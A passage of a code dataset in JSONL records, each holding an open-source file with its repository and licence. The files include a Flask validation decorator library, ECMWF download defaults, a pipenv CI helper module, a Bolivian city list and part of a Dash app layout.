deflection. {} Current {}. New {}'.format(di.name, curdefl, newdefl)\n# if self.confirmation_dialog(msg):\n# # update the config.cfg deflections\n# config.set('Deflection', di.name, newdefl)\n# di.deflection = newdefl\n#\n# if no_change and self.inform:\n# self.information_dialog('no deflection changes needed')\n# else:\n# config.write(p)\n#\n# def _graph_hook(self, do, intensities, **kw):\n# graph = self.graph\n# if graph:\n# spec = self.spectrometer\n# for di, inte in zip(spec.detectors, intensities):\n# lp = graph.plots[0].plots[di.name][0]\n# ind = lp.index.get_data()\n# ind = np.hstack((ind, do))\n# lp.index.set_data(ind)\n# # print inte\n# val = lp.value.get_data()\n# val = np.hstack((val, inte))\n# # val = val / np.max(val)\n#\n# lp.value.set_data(val)\n#\n# # def _magnet_step_hook(self):\n# # spec = self.spectrometer\n# # spec.magnet.set_dac(di, verbose=False)\n# # if delay:\n# # time.sleep(delay)\n# # intensities = spec.get_intensities()\n# # debug\n# # if globalv.communication_simulation:\n# # inte = peak_generator.next()\n# # intensities = [0], [inte * 1, inte * 2, inte * 3, inte * 4, inte * 5, inte * 6]\n#\n# return intensities\n#\n# def _graph_factory(self):\n# g = Graph(window_title='Coincidence Scan',\n# container_dict=dict(padding=5, bgcolor='lightgray'))\n# g.new_plot(padding=[50, 5, 5, 50],\n# ytitle='Intensity (fA)',\n# xtitle='Operating Voltage (V)')\n#\n# for di in self.spectrometer.detectors:\n# g.new_series(\n# name=di.name,\n# color=di.color)\n#\n# return g\n#\n# def _reference_detector_default(self):\n# self.additional_detectors = self.detectors[1:]\n# return self.detectors[0]\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "from typing import Type, Union\nfrom flask import jsonify\nfrom werkzeug.wrappers import Response\nfrom werkzeug.exceptions import BadRequest, InternalServerError\nfrom marshmallow import Schema\nfrom marshmallow.exceptions import ValidationError\n\nfrom flask_restplus.model import Model\nfrom flask_restplus import fields, reqparse, inputs\nfrom flask_accepts.utils import for_swagger, get_default_model_name\n\n\ndef accepts(\n *args,\n model_name: str = None,\n schema: Union[Schema, Type[Schema], None] = None,\n many: bool = False,\n api=None,\n use_swagger: bool = True,\n):\n \"\"\"\n Wrap a Flask route with input validation using a combination of reqparse from\n Flask-RESTplus and/or Marshmallow schemas\n\n Args:\n *args: any number of dictionaries containing parameters to pass to\n reqparse.RequestParser().add_argument(). A single string parameter may also be\n provided that is used as the model name. By default these parameters\n will be parsed using the default logic\n however, if a schema is provided then the JSON body is assumed to correspond\n to it and will not be parsed for query params\n model_name (str): the name to pass to api.Model, can optionally be provided as a str argument to *args\n schema (Marshmallow.Schema, optional): A Marshmallow Schema that will be used to parse JSON\n data from the request body and\n store in request.parsed_bj. Defaults to None.\n many (bool, optional): The Marshmallow schema `many` parameter, which will\n return a list of the corresponding schema objects when set to True.\n\n Returns:\n The wrapped route\n \"\"\"\n\n _check_deprecate_many(many)\n\n # If an api was passed in, we need to use its parser so Swagger is aware\n if api:\n _parser = api.parser()\n else:\n _parser = reqparse.RequestParser(bundle_errors=True)\n\n query_params = [arg for arg in args if isinstance(arg, dict)]\n\n for arg in args: # check for positional string-arg, which is the model name\n if isinstance(arg, str):\n model_name = arg\n break\n for qp in query_params:\n if qp[\"type\"] == bool:\n # mapping native bool is necessary so that string \"false\" is not truthy\n _parser.add_argument(qp[\"name\"], type=inputs.boolean, location=\"values\")\n else:\n params = {**qp, \"location\": qp.get(\"location\") or \"values\"}\n _parser.add_argument(**params)\n\n if schema:\n schema = _get_or_create_schema(schema, many=many)\n\n def decorator(func):\n from functools import wraps\n\n # Check if we are decorating a class method\n _IS_METHOD = _is_method(func)\n\n @wraps(func)\n def inner(*args, **kwargs):\n from flask import request\n\n error = schema_error = None\n # Handle arguments\n try:\n request.parsed_args = _parser.parse_args()\n except Exception as e:\n error = e\n\n # Handle Marshmallow schema\n if schema:\n try:\n obj = schema.load(request.get_json())\n request.parsed_obj = obj\n except ValidationError as ex:\n schema_error = ex.messages\n if schema_error:\n error = error or BadRequest(\n f\"Invalid parsing error: {schema_error}\"\n )\n if hasattr(error, \"data\"):\n error.data[\"errors\"].update({\"schema_errors\": schema_error})\n else:\n error.data = {\"schema_errors\": schema_error}\n\n # If any parsing produced an error, combine them and re-raise\n if error:\n raise error\n\n return func(*args, **kwargs)\n\n # Add Swagger\n if api and use_swagger and _IS_METHOD:\n if schema:\n body = for_swagger(\n schema=schema,\n model_name=model_name or get_default_model_name(schema),\n api=api,\n operation=\"load\",\n )\n params = {\n 'expect': [body, _parser],\n }\n inner = api.doc(**params)(inner)\n elif _parser:\n inner = api.expect(_parser)(inner)\n return inner\n\n return decorator\n\n\ndef responds(\n *args,\n model_name: str = None,\n schema=None,\n many: bool = False,\n api=None,\n status_code: int = 200,\n validate: bool = False,\n description: str = None,\n use_swagger: bool = True,\n):\n \"\"\"\n Serialize the output of a function using the Marshmallow schema to dump the results.\n Note that `schema` should be the type, not an instance -- the `responds` decorator\n will internally handle creation of the schema. If the outputted value is already of\n type flask.Response, it will be passed along without further modification.\n\n Args:\n schema (bool, optional): Marshmallow schema with which to serialize the output\n of the wrapped function.\n many (bool, optional): (DEPRECATED) The Marshmallow schema `many` parameter, which will\n return a list of the corresponding schema objects when set to True.\n\n Returns:\n The output of schema(many=many).dumps() of the wrapped function\n \"\"\"\n from functools import wraps\n\n from flask_restplus import reqparse\n\n _check_deprecate_many(many)\n\n # If an api was passed in, we need to use its parser so Swagger is aware\n if api:\n _parser = api.parser()\n else:\n _parser = reqparse.RequestParser(bundle_errors=True)\n\n query_params = [arg for arg in args if isinstance(arg, dict)]\n\n for arg in args: # check for positional string-arg, which is the model name\n if isinstance(arg, str):\n model_name = arg\n break\n for qp in query_params:\n _parser.add_argument(**qp, location=\"values\")\n\n if schema:\n schema = _get_or_create_schema(schema, many=many)\n\n model_name = model_name or get_default_model_name(schema)\n model_from_parser = _model_from_parser(model_name=model_name, parser=_parser)\n\n def decorator(func):\n\n # Check if we are decorating a class method\n _IS_METHOD = _is_method(func)\n\n @wraps(func)\n def inner(*args, **kwargs):\n rv = func(*args, **kwargs)\n\n # If a Flask response has been made already, it is passed through unchanged\n if isinstance(rv, Response):\n return rv\n if schema:\n serialized = schema.dump(rv)\n\n # Validate data if asked to (throws)\n if validate:\n errs = schema.validate(serialized)\n if errs:\n raise InternalServerError(\n description=\"Server attempted to return invalid data\"\n )\n else:\n from flask_restplus import marshal\n\n serialized = marshal(rv, model_from_parser)\n\n if not _is_method(func):\n # Regular route, need to manually create Response\n return jsonify(serialized), status_code\n return serialized, status_code\n\n # Add Swagger\n if api and use_swagger and _IS_METHOD:\n if schema:\n api_model = for_swagger(\n schema=schema, model_name=model_name, api=api, operation=\"dump\"\n )\n if schema.many is True:\n api_model = [api_model]\n\n inner = _document_like_marshal_with(\n api_model,\n status_code=status_code,\n description=description,\n )(inner)\n\n elif _parser:\n api.add_model(model_name, model_from_parser)\n inner = _document_like_marshal_with(\n model_from_parser, status_code=status_code\n )(inner)\n\n return inner\n\n return decorator\n\n\ndef _check_deprecate_many(many: bool = False):\n if many:\n import warnings\n\n warnings.simplefilter(\"always\", DeprecationWarning)\n warnings.warn(\n \"The 'many' parameter is deprecated in favor of passing these \"\n \"arguments to an actual instance of Marshmallow schema (i.e. \"\n \"prefer @responds(schema=MySchema(many=True)) instead of \"\n \"@responds(schema=MySchema, many=True))\",\n DeprecationWarning,\n stacklevel=3,\n )\n\n\ndef _get_or_create_schema(\n schema: Union[Schema, Type[Schema]], many: bool = False\n) -> Schema:\n if isinstance(schema, Schema):\n return schema\n return schema(many=many)\n\n\ndef _model_from_parser(model_name: str, parser: reqparse.RequestParser) -> Model:\n from flask_restplus import fields\n\n base_type_map = {\n \"integer\": fields.Integer,\n \"string\": fields.String,\n \"number\": fields.Float,\n }\n type_factory = {\n \"integer\": lambda arg: base_type_map[\"integer\"],\n \"string\": lambda arg: base_type_map[\"string\"],\n \"number\": lambda arg: base_type_map[\"number\"],\n \"array\": lambda arg: fields.List(base_type_map[arg[\"items\"][\"type\"]]),\n }\n return Model(\n model_name,\n {arg[\"name\"]: type_factory[arg[\"type\"]](arg) for arg in parser.__schema__},\n )\n\n\ndef merge(first: dict, second: dict) -> dict:\n return {**first, **second}\n\n\ndef _document_like_marshal_with(\n values, status_code: int = 200, description: str = None\n):\n description = description or \"Success\"\n\n def inner(func):\n doc = {\"responses\": {status_code: (description, values)}, \"__mask__\": True}\n func.__apidoc__ = merge(getattr(func, \"__apidoc__\", {}), doc)\n return func\n\n return inner\n\n\ndef _is_method(func):\n \"\"\"\n Check is function is defined inside a class.\n ASSUMES YOU ARE USING THE CONVENTION THAT FIRST ARG IS 'self'\n \"\"\"\n import inspect\n\n sig = inspect.signature(func)\n return \"self\" in sig.parameters\n", "source": "VolodyaEsk/flask_accepts", "license": "BSD-3-Clause"} {"text": "# -- coding: utf-8 --\n\"\"\"Collection of defaults assumed by the download script.\n\nThe defaults are all the allowed values for each of the variables.\nMore details are available are Copernicus Climate Data Store [0].\n\n[0] https://cds.climate.copernicus.eu/cdsapp\n\"\"\"\n\n\ndef time():\n return [\n \"00:00\",\n \"01:00\",\n \"02:00\",\n \"03:00\",\n \"04:00\",\n \"05:00\",\n \"06:00\",\n \"07:00\",\n \"08:00\",\n \"09:00\",\n \"10:00\",\n \"11:00\",\n \"12:00\",\n \"13:00\",\n \"14:00\",\n \"15:00\",\n \"16:00\",\n \"17:00\",\n \"18:00\",\n \"19:00\",\n \"20:00\",\n \"21:00\",\n \"22:00\",\n \"23:00\",\n ]\n\n\ndef pl():\n return [\n \"1\",\n \"2\",\n \"3\",\n \"5\",\n \"7\",\n \"10\",\n \"20\",\n \"30\",\n \"50\",\n \"70\",\n \"100\",\n \"125\",\n \"150\",\n \"175\",\n \"200\",\n \"225\",\n \"250\",\n \"300\",\n \"350\",\n \"400\",\n \"450\",\n \"500\",\n \"550\",\n \"600\",\n \"650\",\n \"700\",\n \"750\",\n \"775\",\n \"800\",\n \"825\",\n \"850\",\n \"875\",\n \"900\",\n \"925\",\n \"950\",\n \"975\",\n \"1000\",\n ]\n\n\ndef year():\n return [\n \"1979\",\n \"1980\",\n \"1981\",\n \"1982\",\n \"1983\",\n \"1984\",\n \"1985\",\n \"1986\",\n \"1987\",\n \"1988\",\n \"1989\",\n \"1990\",\n \"1991\",\n \"1992\",\n \"1993\",\n \"1994\",\n \"1995\",\n \"1996\",\n \"1997\",\n \"1998\",\n \"1999\",\n \"2000\",\n \"2001\",\n \"2002\",\n \"2003\",\n \"2004\",\n \"2005\",\n \"2006\",\n \"2007\",\n \"2008\",\n \"2009\",\n \"2010\",\n \"2011\",\n \"2012\",\n \"2013\",\n \"2014\",\n \"2015\",\n \"2016\",\n \"2017\",\n \"2018\",\n \"2019\",\n \"2020\",\n ]\n\n\ndef month():\n return [\n \"01\",\n \"02\",\n \"03\",\n \"04\",\n \"05\",\n \"06\",\n \"07\",\n \"08\",\n \"09\",\n \"10\",\n \"11\",\n \"12\",\n ]\n\n\ndef day():\n return [\n \"01\",\n \"02\",\n \"03\",\n \"04\",\n \"05\",\n \"06\",\n \"07\",\n \"08\",\n \"09\",\n \"10\",\n \"11\",\n \"12\",\n \"13\",\n \"14\",\n \"15\",\n \"16\",\n \"17\",\n \"18\",\n \"19\",\n \"20\",\n \"21\",\n \"22\",\n \"23\",\n \"24\",\n \"25\",\n \"26\",\n \"27\",\n \"28\",\n \"29\",\n \"30\",\n \"31\",\n ]\n", "source": "ucyo/ml-ecmwf", "license": "MIT"} {"text": "# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:percent\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.3.2\n# kernelspec:\n# display_name: hcii2020\n# language: python\n# name: hcii2020\n# ---\n\n# %%\nimport networkx as nx\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n# %%\n# configurations for reference\nconfigs = pd.DataFrame(\n {\n 'ConfigNr': range(1, 19),\n 'FriendRecTechnique': ['Hyb', 'NoN', 'Rdm'] * 6,\n 'UnfriendThresh': (['low'] * 3 + ['medium'] * 3 + ['high'] * 3) * 2,\n 'AgentCount': [100] * 9 + [1000] * 9\n }\n)\n\n\n# %%\n# don't use for now...\ndef read_graphs(config_df, n_graphs=11):\n graphs = {}\n for idx in range(len(config_df)):\n cfg = config_df.iloc[idx, 1] + '_' + config_df.iloc[idx, 2] + '_' + str(config_df.iloc[idx, 3])\n graphs[cfg] = {}\n graph_file_list = [\n os.path.join('dataexchange', 'BAv2_run' + str(idx + 1).zfill(2), filename) \n for filename in os.listdir(\n os.path.join(\n 'dataexchange', 'BAv2_run' + str(idx + 1).zfill(2)\n )\n ) \n if 'graph' in filename\n ]\n for g in range(n_graphs):\n graphs[cfg]['graph' + str(g + 1).zfill(2)] = nx.read_gml(graph_file_list[g], label=None)\n return graphs\n\n\n# %%\nG = nx.read_gml(os.path.join('dataexchange', 'BAv2_run01', 'graph_11.gml'), label=None)\n\n# %%\nplt.figure(figsize=(10, 10))\nnx.draw_kamada_kawai(G, arrowsize=3, node_size=30)\n", "source": "digitalemuendigkeit/hci2020patrick", "license": "MIT"} {"text": "from __future__ import print_function, absolute_import\n\nfrom .nasbench_101 import NasBench101SearchSpace\n\n\n__factory = {\n 'nasbench_101': NasBench101SearchSpace\n}\n\n\ndef names():\n return sorted(__factory.keys())\n\n\ndef create(name, root, *args, **kwargs):\n \"\"\"\n Create a dataset instance.\n\n Parameters\n ----------\n name : str\n The search sapce name.\n root : str\n The path to the dataset directory.\n \"\"\"\n if name not in __factory:\n raise KeyError(\"Unknown search space:\", name)\n return __factory[name](root, *args, **kwargs)\n", "source": "czyczyyzc/GATES", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# File: library.py\n#\n# Copyright 2018 Costas Tyfoxylos\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n#\n\nimport json\nimport logging\nimport os\nimport shlex\nimport shutil\nimport sys\nimport stat\nimport tempfile\nfrom contextlib import contextmanager\nfrom dataclasses import dataclass\nfrom subprocess import Popen, PIPE\n\nfrom pipenv.project import Project\nfrom configuration import LOGGERS_TO_DISABLE, ENVIRONMENT_VARIABLES, LOGGING_LEVEL\n\nlogging_level = os.environ.get('LOGGING_LEVEL', '').upper() or LOGGING_LEVEL\nif logging_level == 'DEBUG':\n print(f'Current executing python version is {sys.version_info}')\n\n# needed to support alternate .venv path if PIPENV_PIPFILE is set\n# Loading PIPENV related variables early, but not overriding if already loaded.\nfor name, value in ENVIRONMENT_VARIABLES.items():\n if name.startswith('PIPENV_'):\n if not os.environ.get(name):\n if logging_level == 'DEBUG':\n print(f'Loading PIPENV related variable {name} : {value}')\n os.environ[name] = value\n else:\n if logging_level == 'DEBUG':\n print(f'Variable {name} already loaded, not overwriting...')\n\n# Provides possible python2.7 compatibility, not really a goal\ntry:\n FileNotFoundError\nexcept NameError:\n FileNotFoundError = IOError\n\n# This is the main prefix used for logging\nLOGGER_BASENAME = '''_CI.library'''\nLOGGER = logging.getLogger(LOGGER_BASENAME)\nLOGGER.addHandler(logging.NullHandler())\n\n\n@dataclass()\nclass Package:\n name: str\n version: str\n index: str\n markers: str\n hashes: list\n\nREQUIREMENTS_HEADER = \"\"\"# \n# Please do not manually update this file since the requirements are managed\n# by pipenv through Pipfile and Pipfile.lock . \n#\n# This file is created and managed automatically by the template and it is left\n# here only for backwards compatibility reasons with python's ecosystem.\n#\n# Please use Pipfile to update the requirements.\n#\n\"\"\"\n\n\n# The sequence here is important because it makes sure\n# that the virtual environment is loaded as soon as possible\ndef is_venv_created():\n with open(os.devnull, 'w') as dev_null:\n venv = Popen(['pipenv', '--venv'], stdout=PIPE, stderr=dev_null).stdout.read().strip()\n return True if venv else False\n\n\ndef is_venv_active():\n return hasattr(sys, 'real_prefix')\n\n\ndef get_project_root_path():\n current_file_path = os.path.dirname(os.path.abspath(__file__))\n return os.path.abspath(os.path.join(current_file_path, '..', '..'))\n\n\ndef get_venv_parent_path():\n alternate_pipefile_location = os.environ.get('PIPENV_PIPFILE', None)\n if alternate_pipefile_location:\n venv_parent = os.path.abspath(os.path.dirname(alternate_pipefile_location))\n else:\n venv_parent = os.path.abspath('.')\n return venv_parent\n\n\ndef activate_virtual_environment():\n os.chdir(get_project_root_path())\n activation_script_directory = 'Scripts' if sys.platform == 'win32' else 'bin'\n venv_parent = get_venv_parent_path()\n activation_file = os.path.join(venv_parent, '.venv', activation_script_directory, 'activate_this.py')\n if is_venv_created():\n if sys.version_info[0] == 3:\n with open(activation_file) as f:\n exec(f.read(), {'__file__': activation_file})\n elif sys.version_info[0] == 2:\n execfile(activation_file, dict(__file__=activation_file))\n\n\n# After this everything is executed inside a virtual environment\nif not is_venv_active():\n activate_virtual_environment()\n\ntry:\n import coloredlogs\n colored_logs = True\nexcept ImportError:\n colored_logs = False\n\n\nif is_venv_active():\n import semver\n\n\ndef get_emojize():\n try:\n from emoji import emojize\n except ImportError:\n print('Unable to import emojize from created virtual environment.\\n'\n 'Please make sure that the python version is 3.7 and that the virtual environment is properly created.\\n'\n 'If not please remove the .venv directory and try again. Exiting...')\n raise SystemExit(1)\n return emojize\n\n\ndef setup_logging(level):\n if colored_logs:\n coloredlogs.install(level=level.upper())\n else:\n LOGGER = logging.getLogger()\n handler = logging.StreamHandler()\n handler.setLevel(level.upper())\n formatter = logging.Formatter(('%(asctime)s - '\n '%(name)s - '\n '%(levelname)s - '\n '%(message)s'))\n handler.setFormatter(formatter)\n LOGGER.addHandler(handler)\n LOGGER.setLevel(level.upper())\n for logger in LOGGERS_TO_DISABLE:\n logging.getLogger(logger).disabled = True\n\n\n# TODO extend debug logging in the following methods\n\ndef load_environment_variables(environment_variables):\n LOGGER.debug('Loading environment variables')\n for name, value in environment_variables.items():\n if name in os.environ.keys():\n LOGGER.debug('Environment variable \"%s\" already loaded, not overriding', name)\n else:\n LOGGER.debug('Loading environment variable \"%s\" with value \"%s\"', name, value)\n os.environ[name] = value\n\n\ndef load_dot_env_file():\n if os.path.isfile('.env'):\n LOGGER.info('Loading environment variables from .env file')\n variables = {}\n with open('.env', 'r') as dot_env:\n for line in dot_env.read().splitlines():\n if line.strip().startswith('export '):\n line = line.replace('export ', '')\n key, value = line.strip().split('=', 1)\n variables[key.strip()] = value.strip()\n load_environment_variables(variables)\n\n\ndef get_binary_path(executable):\n \"\"\"Gets the software name and returns the path of the binary.\"\"\"\n if sys.platform == 'win32':\n if executable == 'start':\n return executable\n executable = executable + '.exe'\n if executable in os.listdir('.'):\n binary = os.path.join(os.getcwd(), executable)\n else:\n binary = next((os.path.join(path, executable)\n for path in os.environ['PATH'].split(os.pathsep)\n if os.path.isfile(os.path.join(path, executable))), None)\n else:\n venv_parent = get_venv_parent_path()\n venv_bin_path = os.path.join(venv_parent, '.venv', 'bin')\n if not venv_bin_path in os.environ.get('PATH'):\n if logging_level == 'DEBUG':\n print(f'Adding path {venv_bin_path} to environment PATH variable')\n os.environ['PATH'] = os.pathsep.join([os.environ['PATH'], venv_bin_path])\n binary = shutil.which(executable)\n return binary if binary else None\n\n\ndef validate_binary_prerequisites(software_list):\n LOGGER.debug('Trying to validate binary prerequisites')\n success = True\n for executable in software_list:\n if not get_binary_path(executable):\n success = False\n LOGGER.error('Executable \"%s\" not found', executable)\n else:\n LOGGER.debug('Executable \"%s\" found in the path!', executable)\n return success\n\n\ndef validate_environment_variable_prerequisites(variable_list):\n LOGGER.debug('Trying to validate prerequisites')\n success = True\n for variable in variable_list:\n if not os.environ.get(variable):\n success = False\n LOGGER.error('Environment variable \"%s\" not found', variable)\n else:\n LOGGER.debug('Environment variable \"%s\" found in the path!', variable)\n return success\n\n\ndef interpolate_executable(command):\n command_list = command.split()\n if len(command_list) == 1:\n command_list = [command_list[0], ]\n try:\n LOGGER.debug(f'Getting executable path for {command_list[0]}')\n command_list[0] = get_binary_path(command_list[0])\n command = ' '.join(command_list)\n except IndexError:\n pass\n return command\n\n\ndef execute_command(command):\n LOGGER.debug('Executing command \"%s\"', command)\n command = interpolate_executable(command)\n if sys.platform == 'win32':\n process = Popen(command, shell=True, bufsize=1)\n else:\n command = shlex.split(command)\n LOGGER.debug('Command split to %s for posix shell', command)\n process = Popen(command, bufsize=1)\n process.communicate()\n return True if not process.returncode else False\n\n\ndef open_file(path):\n open_programs = {'darwin': 'open',\n 'linux': 'xdg-open',\n 'win32': 'start'}\n executable = get_binary_path(open_programs.get(sys.platform))\n command = '{} {}'.format(executable, path)\n return execute_command(command)\n\n\ndef clean_up(items):\n if not isinstance(items, (list, tuple)):\n items = [items]\n for item in items:\n if os.path.isdir(item):\n LOGGER.debug('Trying to remove directory \"%s\"', item)\n shutil.rmtree(item)\n elif os.path.isfile(item):\n LOGGER.debug('Trying to remove file \"%s\"', item)\n os.unlink(item)\n else:\n LOGGER.warning('Unable to remove file or directory \"%s\"', item)\n\n\ndef get_top_level_dependencies():\n packages = list(Project().parsed_pipfile.get('packages', {}).keys())\n dev_packages = list(Project().parsed_pipfile.get('dev-packages', {}).keys())\n return packages, dev_packages\n\n\n\ndef get_all_packages():\n try:\n venv_parent = get_venv_parent_path()\n lock_file = os.path.join(venv_parent, 'Pipfile.lock')\n with open(lock_file, 'r') as lock:\n all_packages = json.loads(lock.read())\n except FileNotFoundError:\n LOGGER.error('Could not open Pipfile.lock, so cannot get dependencies, exiting...')\n raise SystemExit(1)\n packages = [Package(package_name,\n data.get('version'),\n data.get('index'),\n data.get('markers'),\n data.get('hashes', []))\n for package_name, data in all_packages.get('default').items()]\n dev_packages = [Package(package_name,\n data.get('version'),\n data.get('index'),\n data.get('markers'),\n data.get('hashes', []))\n for package_name, data in all_packages.get('develop').items()]\n return packages, dev_packages\n\n\ndef format_marker(marker):\n return f' ; {marker}' if marker else ''\n\n\ndef save_requirements():\n top_level_packages, top_level_dev_packages = get_top_level_dependencies()\n all_packages, all_dev_packages = get_all_packages()\n packages = [package for package in all_packages\n if package.name in top_level_packages]\n dev_packages = [package for package in all_dev_packages\n if package.name in top_level_dev_packages]\n venv_parent = get_venv_parent_path()\n requirements_file = os.path.join(venv_parent, 'requirements.txt')\n with open(requirements_file, 'w') as f:\n requirements = '\\n'.join([f'{package.name}{package.version.replace(\"==\", \"~=\")}{format_marker(package.markers)}'\n for package in sorted(packages, key=lambda x: x.name)])\n f.write(REQUIREMENTS_HEADER + requirements)\n dev_requirements_file = os.path.join(venv_parent, 'dev-requirements.txt')\n with open(dev_requirements_file, 'w') as f:\n dev_requirements = '\\n'.join([f'{package.name}{package.version.replace(\"==\", \"~=\")}{format_marker(package.markers)}'\n for package in sorted(dev_packages, key=lambda x: x.name)])\n f.write(REQUIREMENTS_HEADER + dev_requirements)\n\n\ndef get_version_file_path():\n return os.path.abspath(os.path.join(os.path.dirname(__file__),\n '..',\n '..',\n '.VERSION'))\n\n\ndef bump(segment=None, version_file=None):\n if not version_file:\n version_file = get_version_file_path()\n try:\n with open(version_file) as version:\n version_text = version.read().strip()\n _ = semver.parse(version_text)\n except FileNotFoundError:\n LOGGER.error('Could not find .VERSION file')\n raise SystemExit(1)\n except ValueError:\n LOGGER.error('Invalid version found in .VERSION file \"%s\"', version_text)\n raise SystemExit(1)\n if segment:\n if segment not in ('major', 'minor', 'patch'):\n LOGGER.error('Invalid segment \"%s\" was provided for semantic versioning, exiting...')\n raise SystemExit(1)\n new_version = getattr(semver, 'bump_{}'.format(segment))(version_text)\n with open(version_file, 'w') as vfile:\n vfile.write(new_version)\n return new_version\n else:\n return version_text\n\n\n@contextmanager\ndef cd(new_directory, clean_up=lambda: True): # pylint: disable=invalid-name\n \"\"\"Changes into a given directory and cleans up after it is done\n\n Args:\n new_directory: The directory to change to\n clean_up: A method to clean up the working directory once done\n\n \"\"\"\n previous_directory = os.getcwd()\n os.chdir(os.path.expanduser(new_directory))\n try:\n yield\n finally:\n os.chdir(previous_directory)\n clean_up()\n\n\n@contextmanager\ndef tempdir():\n \"\"\"Creates a temporary directory\"\"\"\n directory_path = tempfile.mkdtemp()\n\n def clean_up(): # pylint: disable=missing-docstring\n shutil.rmtree(directory_path, onerror=on_error)\n\n with cd(directory_path, clean_up):\n yield directory_path\n\n\ndef on_error(func, path, exc_info): # pylint: disable=unused-argument\n \"\"\"\n Error handler for ``shutil.rmtree``.\n\n If the error is due to an access error (read only file)\n it attempts to add write permission and then retries.\n\n If the error is for another reason it re-raises the error.\n\n Usage : ``shutil.rmtree(path, onerror=onerror)``\n\n # 2007/11/08\n # Version 0.2.6\n # pathutils.py\n # Functions useful for working with files and paths.\n # http://www.voidspace.org.uk/python/recipebook.shtml#utils\n\n # Copyright Michael Foord 2004\n # Released subject to the BSD License\n # Please see http://www.voidspace.org.uk/python/license.shtml\n\n # For information about bugfixes, updates and support, please join the Pythonutils mailing list.\n # http://groups.google.com/group/pythonutils/\n # Comments, suggestions and bug reports welcome.\n # Scripts maintained at http://www.voidspace.org.uk/python/index.shtml\n # E-mail fuzzyman@voidspace.org.uk\n \"\"\"\n if not os.access(path, os.W_OK):\n # Is the error an access error ?\n os.chmod(path, stat.S_IWUSR)\n func(path)\n else:\n raise # pylint: disable=misplaced-bare-raise\n\n\nclass Pushd(object):\n \"\"\"Implements bash pushd capabilities\"\"\"\n\n cwd = None\n original_dir = None\n\n def __init__(self, directory_name):\n self.cwd = os.path.realpath(directory_name)\n\n def __enter__(self):\n self.original_dir = os.getcwd()\n os.chdir(self.cwd)\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n os.chdir(self.original_dir)\n", "source": "rtoma/prereceivecli", "license": "MIT"} {"text": "src = Split('''\r\n base64.c\r\n''')\r\n\r\ncomponent = aos_component('base64', src)", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"} {"text": "cities = [\n 'Santa Cruz de la Sierra',\n 'Cochabamba',\n 'La Paz',\n 'Sucre',\n 'Oruro',\n 'Tarija',\n 'Potosi',\n 'Sacaba',\n 'Montero',\n 'Quillacollo',\n 'Trinidad',\n 'Yacuiba',\n 'Riberalta',\n 'Tiquipaya',\n 'Guayaramerin',\n 'Bermejo',\n 'Mizque',\n 'Villazon',\n 'Llallagua',\n 'Camiri',\n 'Cobija',\n 'San Borja',\n 'San Ignacio de Velasco',\n 'Tupiza',\n 'Warnes',\n 'San Borja',\n 'Ascencion de Guarayos',\n 'Villamontes',\n 'Cotoca',\n 'Villa Yapacani',\n 'Santiago del Torno',\n 'Huanuni',\n 'Punata',\n 'Ascension',\n 'Mineros',\n 'Santa Ana de Yacuma',\n 'Patacamaya',\n 'Colchani',\n 'Rurrenabaque',\n 'Portachuelo',\n 'Puerto Quijarro',\n 'Uyuni',\n 'Robore',\n 'Pailon',\n 'Cliza',\n 'Achacachi',\n 'Vallegrande',\n 'Monteagudo',\n 'Aiquile',\n 'Tarata',\n 'Challapata',\n 'San Julian',\n 'Reyes',\n 'Concepcion',\n 'San Matias',\n 'La Belgica',\n 'Santa Rosa del Sara',\n 'Capinota',\n 'Chimore',\n 'San Pedro'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\n\nfrom app import importer\nfrom app import navbar\nfrom app import sidebar\nfrom app.dimension import dimension_body\nfrom app.graph import spectrum_body\nfrom app.isotopomer import isotopomer_body\nfrom app.modal.about import about_modal\n\n__author__ = \"Deepansh J. Srivastava\"\n__email__ = [\"deepansh2012@gmail.com\"]\n\n\nsub_body = html.Div(\n [\n dbc.Row(\n [\n dbc.Col([html.Br(), isotopomer_body], xs=12, sm=12, md=12, lg=3, xl=3),\n dbc.Col([html.Br(), spectrum_body], xs=12, sm=12, md=12, lg=6, xl=6),\n dbc.Col([html.Br(), dimension_body], xs=12, sm=12, md=12, lg=3, xl=3),\n ]\n ),\n dcc.Store(id=\"local-isotopomers-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-csdm-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-computed-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-dimension-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-isotopomers-ui-data\", storage_type=\"memory\"),\n ]\n)\n\nbody = dbc.Row(\n [\n dbc.Col(sidebar.sidebar, xs=12, sm=12, md=12, lg=12, xl=12),\n # dbc.Col(wd, xs=12, sm=12, md=12, lg=12, xl=4),\n dbc.Col(\n [html.Div(sub_body), html.Div(id=\"isotopomer_computed_log\")],\n xs=12,\n sm=12,\n md=12,\n lg=12,\n xl=12,\n ),\n ]\n)\n\napp_1 = dbc.Container(\n [\n navbar.navbar_top,\n navbar.import_options,\n 